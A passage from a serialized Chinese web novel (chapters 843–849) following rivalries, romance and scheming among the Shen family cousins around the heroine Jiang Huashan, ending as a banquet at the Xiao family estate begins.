沈清予忽然嗤笑一声,他身体前倾,双臂撑在床沿,目光幽深地盯着她:“你以为我在乎的是这个?” 姜花衫被他的眼神吓了一跳,这眼神她好像在哪里看见过。 她忽然心里发毛,不自觉地回避他的目光,干笑两声:“呵呵~我就说,你这么大方的一个人,怎么会计较这种小事?” 她一边说着,一边下意识地将滑落的毯子往上拉。这个细微的动作却让毯子的领口微微敞开,锁骨折叠处,一枚暗红色的印记若隐若现。 沈清予的眼神骤然转冷,微弓的腰身摆直又坐了回去。 “你为什么以前没有告诉我?”他忽然发问,声音低沉,带着山雨欲来的压迫感。 这问题莫名其妙,姜花衫抬眸乜了他一眼,“告诉你什么?” 沈清予抬手,点着自己锁骨的位置,“你……可以接受青梅竹马的……哥哥。” “什……什么?” 明明沈清予的指尖并未真正触碰到她的皮肤,却让姜花衫觉得那一小片肌肤都在发烫。她张了张嘴,想要辩解,却在看到他眼中不加掩饰的情绪时,一个字都说不出来。 “还装呢?” 沈清予咬了咬牙,单手托腮撑着半张脸,身体微微前倾靠近她,“早知道是这样,我又何必掩饰呢?你知道我装的有多辛苦吗?” 姜花衫,“……” * 与此同时,被顾赫“请”出菊园的张茹急得如同热锅上的蚂蚁。 “这可怎么办?不会出什么事吧?” 她在园门外来回踱步,几次想冲进去都被守在门口的顾赫挡了回来。 张茹眼看强攻不行,立马想到去沁园找老爷子,可刚跑出去两步又有些犹豫。 还不知道是什么事,如果直接惊动老爷子,可就没有回旋的余地了。 正当她一筹莫展时,雷行手里捧着一本《三十六计》从面前飘过。 “张妈~” “……”张茹被这句张妈膈应得不行,姜小姐一个孩子叫她张妈就算了,这雷行一把年纪了,怎么也叫她张妈? 难怪大家都叫他木头脑袋。 “等等!”张茹正要转身,忽然灵光一闪,一把拽住雷行,“雷管事,阿灵少爷呢?他在家吗?” 阿灵少爷性子温和,行事妥帖,请他来处理再好不过了。 雷行正看得入神,冷不丁被打断,一头雾水抬起头,“少爷?少爷从昨晚回来就病了,现在正在休息。” “病了?”怎么这么巧?张茹难掩失望。 “你有什么……” 不等他说完,张茹二话不说转头朝兰园跑去。 雷行皱眉,看着张茹的背影沉默片刻。 此刻,这一年累积的兵法知识在脑海中形成了剧烈风暴,他砰地一下合上书,拔腿朝竹园跑去。 * 与此同时,沈归灵正靠在床头,额上覆着湿毛巾,眼下的淡青透出几分倦怠,可那双眼睛却亮得惊人。 准确来说,他不是病了,是疯了。 闹了那么多次,他现在一点困意都没有,即使身体已经发出警报,他的大脑还是兴奋地睡不着。 他无法解释自己现在的行为,只要一闭上眼,脑海里每一帧都是姜花衫情动时攀附他的画面,这些画面如有实质,烫得他心口发胀,连带着身体也重新燥热起来。 沈归灵烦躁地扯下毛巾,正想下床喝口水冷静冷静。 “砰!” 一声巨响,房门被猛地撞开,雷行高大的身影挟着一身夜风闯了进来,气息微乱。 沈归灵微微蹙眉,淡淡看他一眼,“出什么事了?” “少爷,我刚刚看见顾赫守在菊园门口,张妈急匆匆往兰园去了!” 沈归灵眸色骤然沉冷,前一秒还萦绕在眉宇间的温情与燥热瞬间冻结、消散。 …… 第844章 一三五,二四六 微风拂过窗台,送来花香的同时,也给姜花衫送来了一场海啸。 她被沈清予的那句"你知道我装的有多辛苦吗"砸昏了头,脑子里嗡嗡作响。 她像是第一次认识沈清予般,睁圆了眼睛,"我不知道你在说什么,要不你先出去冷静一下?想清楚了,说不定就......" "还要怎么想?"沈清予对于她这种否认的行为恨到了极致,咬牙切齿,像是报复似的开口,"我他妈梦*对象都是你,还能是假的?" 轰—— 姜花衫理智的大山终于坍塌,她下意识地往后挪了挪,"沈清予,你变态啊?!" "变态?"沈清予低笑一声,那笑声里带着几分苦涩,"我也觉得自己是变态,所以我努力让自己不变态!但现实呢?现实是你就喜欢变态!" 他俯身,目光如锁链般紧紧缠绕着她,不容她逃避分毫,"既然沈归灵可以,为什么我不可以,我要求公平竞争。" "......我......"姜花衫又惊又怒,听见最后一句话,捂着额头想骂人结果还是被气笑了,"沈清予,你有病吧?" 沈清予挑了挑眉,"你不就喜欢有病的吗?" "......"姜花衫深吸一口气,闭了闭眼直接豁出去了,"你不是都知道了吗?我和沈归灵已经在一起了。" "不重要。"沈清予直接打断她,"在一起也可以分开,沈归灵能给你的我都能给,不能给的我也能,你并非只有他一个选择。" 姜花衫从没见过这么直白挖墙脚的,一时半会儿还真有些应付不过来,捂着头一直摆手,"不行,太不道德了。" "道德?"沈清予皱眉,都兄妹恋了还讲什么道德,他想了想,不情不愿道,"那这样,一三五我,二四六他,你比较完再选。" 姜花衫脸上的表情彻底凝固了。 她甚至怀疑自己是不是因为过度惊吓出现了幻听,以至于每个字都听得懂,连在一起却完全无法理解其中的含义。她眨了眨眼,又眨了眨眼,试图从沈清予那张俊美却写满偏执的脸上找出一丝开玩笑的痕迹。 没有。 一丝一毫都没有。 那双深邃的丹凤眼里,只有近乎疯狂的认真和一种破罐子破摔的、执拗的期待。 沈清予是真的赞同这个荒谬绝伦的方案,并且在等待她的"采纳"。 "你......"姜花衫张了张嘴,声音干涩得发紧,她抬手指了指自己的耳朵,又指了指沈清予,"你再说一遍?我刚才......好像听错了。" 沈清予看着她这副完全傻掉的模样,眉头都没动一下,语气平静得仿佛在讨论天气,只是内容依旧惊世骇俗:"我说,一三五归我,二四六归他。周日你可以休息,或者......你自己选。" 他甚至"贴心"地给出了周日选项。 "......"姜花衫彻底失语了。 她深吸了一口气,噌得一下站起身,拿起床上的另一只枕头对着沈清予狠狠砸了过去,"你脑子有病?" 这次连砸了数十下,沈清予不闪不避,任由柔软的枕头一下下砸在自己身上、脸上,甚至连眼睛都没眨一下。直到姜花衫力气耗尽,喘息着停下动作,他才缓缓抬起眼。 那双总是带着桀骜的丹凤眼里,此刻翻涌着一种近乎破碎的暗沉。 他看着她因愤怒而泛红的脸颊,声音低哑得像是被砂纸磨过:"就算这样......" 他顿了顿,喉结艰难地滚动了一下,"......我也还是没有机会,是吗?" 这句话问得极轻,却像一记重锤,狠狠砸在了姜花衫的心口。 她所有的动作瞬间停滞,"哐当"一声轻响,手中的枕头滑落,掉在了地板上,扬起细微的尘埃。 姜花衫脸上的怒意被一种巨大的错愕取代,因为她从未在沈清予脸上看到过这样的表情。 他把自己强势、偏执甚至无赖的外壳敲碎,露出近乎卑微的祈求。 房间里陷入死一般的寂静。 沈清予缓缓站起身。他没有逼近,只是站在原地,目光沉静地落在她脸上,"你喜欢他什么?那张脸?还是那副斯文败类的心肠?还是你觉得他能陪着你?" 他往前走一步,眼神近乎虔诚,"可是那都是假的。他和你看到的并不一样,他不能陪着你,他总有一天会走的,但我不会,我可以一直陪着你。" 姜花衫怔怔地看着他泛红的眼眶,张了张嘴,却发现喉咙像是被什么堵住了,一个字也说不出来。 她知道沈清予在说什么? 沈清予隐约猜到了沈归灵的秘密,他担心她受到伤害和欺骗,所以即便她可能会厌恶他,他也还是想唤醒她。 只是沈清予不知道,关于沈归灵,她一直都知道真相。 "......" * 菊园外。 沈归灵匆匆赶到时,沈兰晞已经先一步让高止制服了顾赫。 两人的目光在空中短兵相接,无声的硝烟瞬间弥漫开来。 张茹看不懂这其中的门道,她心里惦记着姜花衫,一个箭步上前,正准备推门,"吱呀"一声,院门从里面被拉开了。 沈清予走了出来。 "清予少爷?"张茹愣了愣,想也没想,扒开沈清予直接冲上了绣楼。 沈清予懒懒扭了扭脖子,抬眼对上了门外两人的目光,他扯着嘴角,露出标志性的桀骜与嘲讽,"看什么看?好狗不挡道,都滚开点~" …… 祝大家中秋快乐,阖家幸福~ 第845章 杀人诛心 话音刚落,沈兰晞突然上前一步,抬腿狠狠踹向沈清予的膝弯。 这一脚来得又快又狠,连带着周围一众围观者都傻眼了。 沈清予少爷的性子向来如此,平时比这更难听的话他也没少说,但沈兰晞少爷从未计较,今天这是怎么了? “唔!”沈清予猝不及防,单膝跪倒在地。 沈归灵立在几步开外,他原本想进菊园,脚步刚迈过门槛忽然想到什么又退了回去,面无表情看着眼前这场闹剧。 沈清予意识到沈兰晞竟然偷袭,原本就压抑不住的怒火蹭地涌上心头,他猛地抬头,眼神阴鸷地瞪向沈兰晞,“你个……” “伪君子”三个字尚未出口,沈兰晞已经慢条斯理地解开了衬衣的袖扣,将袖子挽至小臂。不等沈清予起身,他攥紧的拳头已经带着风声,精准地砸在了沈清予左脸。 平时他们闹得再凶,都遵循打人不打脸的原则,怕的就是老爷子过问。现在沈兰晞直接抡脸,可见是气得不轻。 “呃!” 沈清予被打得偏过头去,左脸颊迅速红肿起来。 他抬手,用指腹轻轻碰了碰火辣辣的伤处,非但没有生气,反而低低地笑了起来。 笑声从压抑的喉间溢出,带着恶意的挑衅,“怎么?终于装不下去了?终于露出真面目了?” 说着,他咧嘴舔了舔破皮的嘴角,“不过可惜,你晚了一步,已经没有你的位置了~” 沈兰晞周身的空气似乎都随之凝滞,温度骤降。 他什么都没说,只是那样静静地看着沈清予,这种极致的冷沉,比任何外露的情绪都更令人心悸。 一直沉默的顾赫见状,脸色骤变,下意识就要上前帮忙。 高止反应极快,直接一步横跨拦在顾赫面前。顾赫抬眸看了沈兰晞一眼,只迟疑一秒,抬手扣住高止的肩膀打算硬闯。 沈归灵回头看了雷行一眼,雷行会意,魁梧的身形如猎豹般迅捷上前,铁钳般的大手精准扣住顾赫另一侧肩膀,“老实点。” “……”顾赫被两人一左一右牢牢制住,一时难以挣脱。 他怒视着左右:“你们想干什么?” “吵死了。”高止一把堵住顾赫的嘴,雷行锁喉,两人合力一起把顾赫拖走。 沈清予见状,笑声更大了。他缓缓站稳身子,挑眼打量眼前两人,“怎么?你们两个要联手?” 沈兰晞面无表情地从西装裤袋里抽出一条质地精良的纯白丝巾,垂眸,慢条斯理,从指根到指尖,动作优雅而仔细,仿佛要拭去什么不洁的污秽。 “沈清予,不要再做蠢事了,我的耐心有限。” 说完,沈兰晞将擦拭过的丝巾随手弃于脚边,冷冷看了沈归灵一眼,转身往主厅的方向走去。 沈清予脸上的笑容僵了一瞬,眼底迅速积聚起更深的阴霾。 就在这时,一声极轻、充满恶意的声音在他身侧响起—— “真可怜~” 沈清予这才想起真正的威胁还在身边环伺,他猛地转头,冷冷看着沈归灵。 沈归灵挑眉,眼神里带着一种近乎残忍的怜悯,“被拒绝了所以才心情不好吧?” 沈归灵这句话可比沈兰晞那一拳杀伤力强多了。 沈清予深邃的瞳孔骤然收缩,他再也掩饰不住心里的怒火和醋意,一把揪住沈归灵的脖子,“你别得意,谁输谁赢还不一定。” 沈归灵笑了笑,一脸嫌弃地拍开沈清予的手,“别碰我,插足别人感情的小三。” 沈清予,“……” 沈归灵有恃无恐加深了嘴角的笑意,当着他的面光明正大地迈进了菊园的门槛。 * 绣楼内,姜花衫依旧维持着之前的姿势,怔怔地坐在床沿。 沈清予那些剖白如同惊雷,在她脑海里一遍遍炸响,震得她耳膜嗡嗡作响。 她的确想要剧情偏离,但也不能这么离谱啊? “小姐?小姐您没事吧?清予少爷他没把您怎么样吧?” 张茹焦急的声音像是从很远的地方传来,带着模糊的回音。姜花衫完全陷入在自己的世界里,一点儿反应都没有。 “小姐!”张茹急得轻轻推了推她的肩膀,“您倒是说句话啊!可别吓唬张妈!” 肩膀上传来轻微的触感,姜花衫这才猛地回过神,长长的睫毛颤了颤,视线缓缓聚焦,落在张茹写满担忧的脸上。 “张妈?怎么了?”她想得太入迷了,连张茹什么时候进来的都不知道。 “您到底怎么了?清予少爷是不是欺负你了?”张茹见她终于有反应,连忙追问。 姜花衫张了张嘴,却发现喉咙像是被一团棉花堵住了。 “没有。”许久后,她摇了摇头,“是我欺负了他。” 她最后说的那些话,感觉沈清予都要碎了。可是他都已经表明心迹了,如果她再不把话说清楚,那才是真正的残忍。 长痛不如短痛。 姜花衫揉了揉发胀的眼角,声音里带着疲惫与沙哑:“好累啊,我想睡一下。” 张茹立马松了口气,连连点头。正要起身,忽然想起门外的事,正犹豫要不要说,门外就响起了敲门声。 “衫衫。” 这声音熟悉得不能再熟悉,姜花衫瞬间醍醐灌顶,刚软下去的身子瞬间就支棱起来了。她转头看向张茹,张茹见状,立马把沈归灵和沈兰晞来菊园的事说了一遍。 “小姐,我担心您,所以……” 姜花衫莫名觉得自己头疼、腿疼、肚子疼、哪里都疼。 张茹见她脸上莫名红了起来,赶紧上前摸额头,“怎么了?是不是发热了?我都说了,让你别捂着那么严实晒太阳,这会儿暑气还在,容易发汗。快,换身衣裳去去热。” 姜花衫心里猛地一咯噔,生怕张茹真看出什么端倪,赶紧抓住张茹的手,急急打断:“没有发热!就是……就是有点闷!张妈,你快去开门,别让……别让他在外面等久了。” 她语气里的急切和那明显想要转移话题的心虚,让张茹愣了一下,但见她确实不像生病的样子,便也放下心来,只当她是被刚才清予少爷闹得心情不佳。 “好好好,我这就去开门,您好好歇着。”张茹安抚地拍了拍她的手,转身朝门口走去。 姜花衫看着张妈的背影,暗暗松了口气,下意识又拉了拉衣领,确保那些惹眼的痕迹都被严严实实地遮住了。 张茹打开门,看到门外静立的沈归灵,笑着招呼:“归灵少爷。” 沈归灵微微颔首,一副温润谦和的模样:“清予因为受罚心情不好,所以行为冒失了点。衫衫没事吧?” 张茹想起沈清予凶神恶煞的模样,心里大有不满,但她的身份也不好说什么。 沈归灵又道:“张姨您去给衫衫做碗糖水吧,我陪她说说话,省得她胡思乱想。” 这人和人怎么就这么不同?张茹连连点头:“还是阿灵少爷您想得周全,我这就去,小姐就麻烦您了。” 沈归灵点头:“不麻烦。” …… 第846章 我也很喜欢 张茹放心地转身离开,还贴心地为两人带上了房门。 "咔哒"一声轻响,室内重归静谧。 姜花衫双手交叉面容安详躺在床上,沈归灵和张茹在门口说的话她听得清清楚楚,实在不敢相信沈归灵就这么把张茹忽悠走了。 张妈怎么一点防人之心都没有? 正想着,屋里再次传来"咔哒"声,门又开了。 正当姜花衫以为沈归灵想通了要走,脚步声由远及近,走到床边安静了下来。 "......" 姜花衫闭着眼,努力维持着平稳的呼吸,试图将自己完美地伪装成一个陷入沉睡的人。她能感觉到沈归灵就站在床边,那存在感强烈得让她眼皮下的眼球都忍不住微微颤动。 他怎么不说话?也不动? 就在她快要按捺不住这份寂静带来的心慌时,一道温热的呼吸忽然轻轻拂过她的脸颊。 她心头一跳,下意识地睁开了眼睛—— 瞬间,撞进了一双近在咫尺的、含笑的深邃眼眸里。 他半跪在床边,单手托腮撑着床边打量着她,阳光从他身后洒落,将他浓密的睫毛染成淡金色,也在他轮廓分明的侧脸上投下温柔的阴影。 "还疼吗?" 姜花衫的心脏像是被什么东西猛地攥了一下,漏跳了一拍,原本已经散去的热意从四面八方涌来,瓷白的肌肤瞬间染成了虾粉色。 "你有......有病啊?"她实在没招,只能凶巴巴骂道。 沈归灵一瞬不瞬地看着她,眼里晃荡着融化的春水,"嗯,好像是,从分开就一直睡不着,一直在想你。你呢?有没有想我?" 姜花衫的脸不受控制地更红了些,眼神闪烁着想避开他过于专注的凝视,却像是被蛊惑了一般,移不开目光。 很快,她意识到这样不对,清咳了一声,伸手贴着沈归灵的侧脸推了推,"别靠这么近。" "近吗?"沈归灵皱了皱眉,眼里的笑意更浓,"你昨晚......可不是这么说的。昨晚可比这......" 姜花衫的耳根瞬间红透,连带着脖颈都染上了一层绯色,她瞬间暴起,一把捂住沈归灵的嘴,"你给我闭嘴。" 昨晚实战了才知道,有些事嘴硬也没用,这狗东西是有些天赋异禀在身上的。 沈归灵嘴角翘得都快咧到耳后根了,一边仰着头避开她攻击,一边起身将她横抱起来。 "你干嘛?" 姜花衫捂着嘴小声惊呼了一声,下意识想挣扎,昨晚沈归灵有一会儿就是这么一边抱着她一边征伐,弄得她毫无招架之力。 沈归灵愣了愣,反应过来后,耳尖烧了起来。 他将人半拥在怀里,挨着床边坐下,下巴轻轻抵着她的发顶,滚烫的手掌沿着她纤细的腰线缓缓下滑,最终停在了她平坦的小腹,隔着薄薄的布料轻轻揉推。 他当然知道自己昨晚有些失控,也是昨晚他打破了对自己的认知。 原来他和普通人并没有什么不同,所谓的克制力在真正的情动面前,根本不值一提。 姜花衫意识到自己想岔了,只尴尬了一秒,立马心安理得享受起了沈归灵的服务。但也仅仅只有一秒,她突然炸毛,坐了起来,"你赶紧走,被人发现就完蛋了。" 沈归灵轻轻按着她的肩膀,圈着她小声哄道,"房门打开着,我们很清白。" 他说清白的时候,手掌摩挲着薄薄绸缎在姜花衫的腹部慢慢打圈。 姜花衫,"......" 沈归灵低头亲了亲她的发梢,"我向来与人为善,知道沈清予欺负你,总要来关心一下妹妹的。过门而不入,是沈兰晞的风格,不是我的。放心,爷爷不会起疑的。" 姜花衫还是不放心,挣扎着要起来。 沈归灵不想她闹,轻叹了一声,"就说两句话,说完就走。" 姜花衫抬头看了他一眼,那眼神满满的质疑,"你确定?" 两人目光交汇的瞬间,仿佛有什么暗涌在攻击。 沈归灵清咳了一声,按下姜花衫的头,"这次是真的。" 姜花衫想着沈归灵估摸是要问沈清予的事,犹豫片刻,点了点头,"你问吧。" 沈归灵的眼神暗了几分,"昨晚,有没有哪里不舒服?" 他后来想抱着她问问她的感受,但姜花衫后来睡过去了所以一直没有机会。 回来后,他一直睡不着,他觉得自己是开心的,从来没有这么开心过,所以他也想知道姜花衫是什么感受。 是不是也像他一样,喜欢。 姜花衫表情一怔,显然是没想到沈归灵竟然厚颜无耻到了这种地步,抬头瞪了他一眼,"你有病啊?" 沈归灵知道她一害羞就骂人的毛病,笑着抱住她,"你告诉我你的感受,我才能做得更好。" 姜花衫的脸烧得不能再烧,她一把扒开沈归灵的手,低着头往床上爬,"没感受,走走走!" 沈归灵垂眸看着她爬了一会儿,俯身贴脸,小声道,"你不说,我就当你喜欢了。" "第二句......" "姜花衫,我也喜欢~" …… 第847章 起疑 沁园。 沈庄立在花厅的轩窗下,手持银剪,正仔细修剪着一盆魏紫牡丹的枯枝。午后的阳光透过镂花窗格,在他深青色的杭绸长衫上投下斑驳光影。 郑松悄无声息地走进花厅,垂手立在三步外。待沈庄剪去最后一截枯枝,才上前低语:"老爷,菊园那边...兰晞少爷和清予少爷动了手。" 剪刀在花枝上微微一顿,沈庄缓缓放下银剪,用素绢拭了拭指尖:"为的什么啊?" 郑松神色微变,往前走了一步,压低了声音在沈庄耳畔低语。 沈庄愣了愣,抬头看了郑松一眼,正当他要开口时,廊下传来不疾不徐的脚步声。 "爷爷。" 沈兰晞出现在月洞门前,墨色西装依旧挺括,只领口微松。他走近时带来一阵清冽的松香,仿佛刚从庭院深处穿过。 来得这么巧? 沈庄的目光在沈兰晞挽起的袖口停留了片刻,指着眼前的玫瑰椅,"怎么了?脸色这么难看。" 郑松见状,朝着两人微微颔首,转身出了花厅。 沈兰晞依言在玫瑰椅上坐下,姿态依旧从容,只是眉眼间凝着一丝未散的沉郁。他抬手,不着痕迹地将微松的领口整理妥帖,这个细微的动作让他指节处那道新鲜的破皮红痕愈发明显。 沈庄端起手边的青瓷茶盏,轻轻拨弄着浮叶,"手都打破了,你俩这是有多大的深仇大恨?" 沈园的一切,只要老爷子想知道,就瞒不过他的眼睛,何况刚刚的冲突就在菊园外,毫无遮挡,消息自然守不住。沈兰晞就是知道这点,才马不停蹄来沁园说明情况。 他声音平稳,缓缓开口,"爷爷,沈清予近来行为疯癫无纲无常,您若再不严加管教,只怕会是沈家心腹大患。" "咳咳......"沈庄险些被呛了一口,捂着嘴,"没......没这么严重吧?" 沈兰晞眉毛微蹙,板正的脸色比沈庄还像一家之主,"他在S国绑架皇室,回程殴打兄长,现在还因为怀恨在心冲进妹妹的院子恐吓,爷爷觉得这不严重?" "你说什么?"老爷子抬起头,目光如炬,先前那点闲适温和荡然无存,"清予那臭小子去菊园找麻烦了?" 郑松汇报时,只说三位少爷似乎有嫌隙,但并未提及沈清予找麻烦的事。 沈兰晞,"他把张妈直接赶出院,吓得张妈来兰园向我求助。" "岂有此理!"沈庄砰的一声重重搁下茶杯,"臭小子,反了天了不成?!小花儿不过就是说了几句实话,他还敢上门恐吓?他人呢?死哪去了?郑松,把那臭小子给我绑过来!!!" * 孟医生提着沉甸甸的黄梨木药箱,刚踏进沁园的月亮门,便听见花厅方向传来老爷子中气十足的怒吼。他脚步倏然一顿,极自然地侧身一转,悄无声息地避入抄手游廊的阴影里。 在沈园这么多年,他早就摸清了老爷子的脾气,这个时候回避才是最正确的处理方式。 正当他准备绕道从偏廊离开时,目光不经意间扫过不远处的兰亭。亭中,一个清瘦的少年正倚着栏杆,垂首专注地看着手中的书卷。午后的阳光透过竹帘,在他素色的衣袍上投下细碎的光斑。 孟医生认得他,是沈家旁支的一位小少爷,性子安静,痴迷医道,尤其醉心古医。 他略一沉吟,改变了方向,缓步朝兰亭走去。脚步声惊动了少年,他抬起头,露出一张尚带稚气却眉眼沉静的脸。 "孟医生。"沈知礼起身,十分有礼貌,手中还握着那本泛黄的线装书。 孟医生目光落在他手中的书上,封面上是清隽的楷体《本草备要》。他微微一笑,和声道:"在看《备要》?这是好书,述药性简明扼要。" 少年眼中闪过一丝被认可的亮光,"孟医生也懂中医?" 孟医生并未回答,将手中的药箱轻轻放在石凳上,从侧袋里取出一本装帧明显不同的、更为崭新的书籍,封面上印着《实用西医学概论》。 "我年轻时,也如你一般,觉得老祖宗传下的东西便是天地至理,"孟医生将书递过去,声音平和,"后来行走四方,见得多了,才知医学之道,海纳百川。中医精微深邃,西医亦有其所长。这本册子浅显,讲些西人的解剖、生理之理,你若有暇,不妨翻翻。" 少年不会掩藏心事,看着眼前那本西学书籍迟迟没有伸手,明显是有些抗拒。 孟医生并不催促,只是温和地看着他:"并非要你弃中学西。只是,望闻问切之外,若能知晓些细菌致病之理,明白炎症为何发生,开方下药时,心中或许更能了然。现在人治病接触的都是西医,你多了解一些,对病患也是好的。" 少年眸底微亮,双手接过那本书,对着孟医生深深鞠一躬:"多谢孟医生指点。" 两人说话的功夫,花厅里的谈话已经结束,沈兰晞步履沉稳地踏下石阶。 孟医生颔首,提起药箱:"看书久了,也需起身活动活动,免得伤了眼睛。"说罢,便转身沿着游廊往花厅方向走去。 路过回廊时,恰好和沈兰晞迎面对上,孟医生笑着打完招呼,才进了花厅。 * 沈兰晞回到兰园时,脸色依旧不好。他坐在窗下的罗汉床上,暮色落在他深邃的眉眼间投下明暗交错的阴影。 高止小心翼翼静站在书房门外,为了不触霉头,隔着老远的距离探着脖子叫唤:"少爷,舒沐的身份有眉目了。" 沈兰晞抬眸,冷冷看了他一眼。 高止莫名打了个冷颤,掩上门,快步凑上前,捂着嘴小声道:"这个舒沐原本是南湾小康之家,但是后来父母做生意失败欠了一屁股债跳楼死了,她被逼无奈只能辍学打工维持生计。一次偶然机会,在某公司剪彩仪式被沈先生看中,成了包养在外的情人。" 沈兰晞靠在椅背上,指尖无意识地轻点着紫檀桌面,"舒沐的父母查过了?" "查了,没有问题。不单单是舒沐父母,舒家往上三代都查了,有名有姓。" 见沈兰晞没有回话,高止皱了皱眉,"少爷,这么看,沈归灵和白家岂不没关系?" "未必。"沈兰晞忽然想到什么,指尖在空中顿住,"舒家如果没问题,或许还有一种可能......" 他抬眸,眼底闪过一抹暗涌,"高止,你立马安排,我要亲自去趟南湾。" ...... 第848章 我从未忘记过他 沈清予上午十点闹的沈园,上午十一点就被老爷子五花大绑捆去了祠堂。为了让他长教训,老爷子这次在门外上了两把大锁,不关满七七四十九天不算完。 沈娇去菊园给姜花衫送礼服时,张茹又把沈清予进门找茬的事说了一遍,沈娇气不打一处来,立马让人又加了两把大锁。 闲来无事的沈园一天就在这鸡飞狗跳中过去了。 到了第二天,姜花衫总算恢复了一点精神。张茹早早便备好了热水,她洗漱完换好提前准备的礼服准备赴宴。 这次萧家是宴会的主人,所以沈娇替她准备的礼服相比往常低调了许多。不过就算再低调,配上她那张不低调的脸也低调不到哪去。 这次宴会,沈庄并未出席,沈家赴宴的只有六人。除了沈娇和姜花衫几个小辈之外,沈谦和沈渊也会到场。 宴会定在晚上六点开宴,但作为家族支撑,沈娥特意邀请她们提前到场。 沈娇既然给了沈娥体面,就不会在这种小事上刁难。是故下午四点,沈娇便带着姜花衫、傅绥尔、沈眠枝提前赴宴。 萧家虽比不上沈家富贵,但在A国也算有头有脸的名门望族。这次宴会是在萧家老宅举办,建筑主体是一栋融合了现代简约与古典韵味的白色建筑,依水而建,巨大的落地玻璃幕墙将湖光山色最大限度地引入室内。 沈娥早早守在门口迎接,远远看见沈家的车辆,心里的大石总算落了地。 虽然沈娇应承得爽快,但她没见到人之前,总不能完全放下心。 "哎哟哟,小姑娘们都长大了,一个个漂亮得跟花似的。" 傅绥尔穿了一条樱草黄的泡泡袖及膝裙,裙身上点缀着细碎的立体刺绣小花,充满了少女的娇憨与灵动。 沈眠枝则是一身冰川蓝的及膝西装式礼裙,线条利落硬朗,与她一贯的清冷气质完美融合。 姜花衫就更简单了,一袭白色的轻纱长裙,没有任何繁复的装饰。浓密如海藻的长发也只是松松挽起,几缕碎发垂在颊边,更添几分随性的风致。但即便是这样,她光是站在那里,整个人都在发光。 沈娥也看出了她们没有争艳的心思,心里领了沈娇的好,眉宇间的笑意真诚了几分。 她难得主动,上前挽着沈娇的手,"也就是你眼光好,才能捡到这么个宝。" 当初姜花衫刚来沈园,谁也瞧不上她。沈娇认姜花衫作女儿时,沈娥还曾暗地里笑话过她: 女孩子光漂亮有什么用,鲸港漂亮的女孩儿还少吗? 但事实证明,沈娇的确是最有远见的一个。现在沈园几个孩子里最得宠的就是姜花衫,连沈兰晞都要靠边站。 沈娇懒得应对这些场面话,正想抽手,抬头看见萧家一群人正往这边观望。 萧启现在还躺在医院要死不活,沈娥依旧照常举办宴会,这些萧家人定然心生怨恨。沈娥故意表现与她这么亲昵,无非是想借沈家的势。 沈娇心如明镜,瞥了沈娥一眼,淡淡笑了笑,"我瞧着澜兰也懂事不少,她人呢?" 沈娥见沈娇愿意接话,心里高兴了不少,"她啊,从早上起来就一直在梳妆,现在还在捣腾。" 说着转头给身边的管事递了个眼神,"去,带几位小姐过去。" 沈娇微微蹙眉。按理说小辈有小辈的圈子,但这里毕竟是萧家,她对沈娥到底还是没有那么放心。 沈娥看出了她的担忧,不着痕迹地轻轻拍了拍她的手背,"都是自家姐妹,许久不见,让她们亲近亲近也好。" 傅绥尔连忙附和,一手拉着姜花衫,一手挽着沈眠枝,"妈妈,听说萧家湖景一绝,我还没见过呢,正好想去见识见识。" 沈娇见状也不好说什么,点了点头,"不许闹事,有什么事来主厅找我商量。" * 与此同时—— 华丽的落地镜前,萧澜兰身着一袭正红色的抹胸鱼尾长裙,裙身上用金线绣着繁复的凤凰于飞图案,耀眼夺目,却也带着几分与她年龄不符的隆重与刻意。 她对着镜子左顾右盼,纤细的手指抚过颈项间那串璀璨夺目的钻石项链,眉头却微微蹙起,总觉得哪里还不够完美。 房间角落的阴影里,厚重的丝绒窗帘微微晃动,一道修长的身影缓缓踱出。沈年穿着一身与宴会格格不入的深色便装,嘴角噙着一抹玩味的笑意,眼神却冰冷如霜。 "你穿得这么花里胡哨有什么用,还不是堵不了那些人的嘴。"他像是潜伏在暗处的毒蛇,走到萧澜兰身后,透过镜子与她对视,声音压低,"与其挖空心思弄这些有的没的,不如好好想想,怎么弄死姜花衫。" 萧澜兰置若罔闻,依旧专注地调整着耳坠的角度。 沈年皱眉,略有不满地盯着她,"你听见我说什么了吗?" "听见了~"萧澜兰嗤笑了一声,转身好整以暇地倚着梳妆台,"急什么?这里是萧家的地盘,连萧启都死在我手里,何况是萧家之外的人?" 她忽然想到什么有趣的事,微微前倾,捂着嘴巴娇笑了起来:"我偷偷告诉你,我啊,早就给姜花衫准备了一出大戏,你就等着看好戏吧。" 说着,她又想到什么,笑容瞬间凝固,死死看着沈年,"倒是你,你不是给周宴珩递消息去了吗?怎么一个回信都没有?周宴珩要是不入局,这出戏我还怎么唱?" 他意味深长地看着萧澜兰:"怎么?都这个时候了,还惦记着周宴珩?" 萧澜兰的心脏因为这三个字剧烈跳动起来。她捂着心口,情深缱绻地看着镜子里的自己。 "我从、未有一刻忘、记、过、他!" …… 第849章 宴无好宴 “大小姐……” 就在两人各怀心思之际,门外响起了轻叩声,伴随着管家恭敬的禀报:“沈家的三位小姐过来看您了。” 萧澜兰脸色瞬间变换,方才的阴鸷与偏执如同被风吹散的薄雾,迅速被一层得体的假面取代。 她飞快地朝沈年使了个眼色。 沈年反应极快,如同鬼魅般悄无声息地再次隐入厚重的丝绒窗帘之后,气息收敛,仿佛从未存在过。 “进来吧~”萧澜兰迅速整理了一下裙摆和头发,确保自己处于最完美的状态。 房门被推开,姜花衫、傅绥尔和沈眠枝鱼贯而入。毕竟是参加宴礼,礼不可废,三人手里都拿着自己精心准备的礼物。 “你们来了?” 萧澜兰长她们几岁,从前就是沈家孙女中的佼佼者,虽说中间出了一些变故,但这份自持已经刻在骨子里。即便她表现得友好,但依旧给人一种高高在上的感觉。 傅绥尔向来看不惯萧澜兰这副嘴脸,扯着嘴皮恭维道,“澜兰姐,你今天这身礼服是要登基吗?” 自己父亲还在ICU躺着,还穿得这么鲜亮,竟一点都不避讳。 萧澜兰脸上笑容不变,似乎没听出傅绥尔的暗讽,“大好的日子当然要穿得喜庆点,倒是你,你母亲的好东西都拿来养外人了,穿得跟个酸笋咸菜上不了台面。” “嘿!”傅绥尔瞬间瞪大了眼睛,“萧澜兰,长辈不在你就原形毕露了是吧?” 萧澜兰,“都是自家姐妹,转来转去看着不累吗?我知道你们也不喜欢我,不过就是为了家族颜面交差,那就好好演。你都不配合,还想要我配合?” “澜兰姐。”沈眠枝出声打断,“这是你的归家宴,我们是萧家请来的贵宾。” 萧澜兰眼神微眯,不冷不淡地打量起沈眠枝。 